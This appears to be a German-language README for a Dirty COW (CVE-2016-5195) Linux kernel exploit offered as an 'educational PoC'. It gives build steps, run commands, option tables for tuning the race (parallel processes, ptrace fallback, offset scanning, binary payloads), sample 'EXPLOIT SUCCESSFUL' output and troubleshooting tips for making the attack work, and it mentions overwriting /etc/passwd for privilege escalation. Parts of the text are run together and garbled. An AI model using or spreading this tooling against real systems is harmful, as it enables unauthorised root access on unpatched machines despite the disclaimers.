
Bildungs-PoC für Dirty COW (CVE-2016-5195) mit Protokollierung, ptrace-Fallback und Unterstützung für binäre Payloads.
Dieser Code dient NUR ZU LEHRZWECKEN. Jegliche böswillige Nutzung ist strengstens untersagt und illegal.
Dirty COW (CVE-2016-5195) ist eine Privilegienausweitungs-Schwachstelle im Linux-Kernel, die eine Race-Condition im Copy-on-Write-Mechanismus (COW) des Kernels ausnutzt. Diese Schwachstelle betrifft Linux-Kernel ab Version 2.6.22 (veröffentlicht 2007) bis zu folgenden Versionen:
Die Schwachstelle tritt im Speicherverwaltungssystem des Kernels auf:
MAP_PRIVATE mapped, sollten Änderungen eine private Kopie erzeugenmadvise(MADV_DONTNEED) und dem Schreiben auf /proc/self/mem/etc/passwd zu erlangenFühren Sie dies NIEMALS auf Produktionssystemen oder Systemen aus, die Ihnen nicht gehören!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
| Option | Beschreibung | Standard | Maximum |
|---|---|---|---|
-t <datei> | Pfad zur Zieldatei | /tmp/dirty_cow_test | - |
-p <payload> | Benutzerdefinierte Text-Payload | Test-String | - |
-f <datei> | Binäre Payload aus Datei laden | - | - |
-i <anzahl> | Anzahl der Iterationen | 10.000.000 | 100.000.000 |
-n <anzahl> | Anzahl paralleler Prozesse | 1 | 8 |
-r <anzahl> | Wiederholungsversuche | 1 | 10 |
-P | ptrace anstelle von /proc/self/mem verwenden | Deaktiviert | - |
-D | Dynamische Offset-Suche aktivieren | Deaktiviert | - |
-v | Ausführliche Ausgabe | Deaktiviert | - |
-l <datei> | Pfad zur Logdatei | exploit_log.txt | - |
-h | Hilfe anzeigen | - | - |
/proc/self/mem (Standard)ptrace(PTRACE_POKETEXT) für eingeschränkte SystemeDurchsucht mehrere Speicher-Offsets, um die beste Schreibposition zu finden:
./main -D -v # Enable dynamic offset scanning
Mehrere Prozesse für intensive Race-Conditions starten:
./main -n 4 # Use 4 parallel processes
Beliebige Binärdaten aus Dateien laden:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Fehlgeschlagene Versuche automatisch wiederholen:
./main -r 5 # Retry up to 5 times
Verwendet SHA-256-Hashing zur Überprüfung von Dateiänderungen:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
Das Tool erstellt detaillierte Logs in exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
Der Exploit funktioniert, indem eine Race zwischen zwei Operationen erzeugt wird:
madvise(MADV_DONTNEED) - Sagt dem Kernel, Speicherseiten zu verwerfen/proc/self/mem - Versucht, in gemappten Speicher zu schreibenMAP_PRIVATE gemappt seinWenn die Race-Condition erfolgreich ist:
1. „Exploit fehlgeschlagen oder unzureichende Iterationen“
-i erhöhen oder mehrere Prozesse mit -n verwenden2. „/proc/self/mem Zugriff fehlgeschlagen“
-P-Flag verwenden3. „System ist möglicherweise nicht verwundbar“
uname -r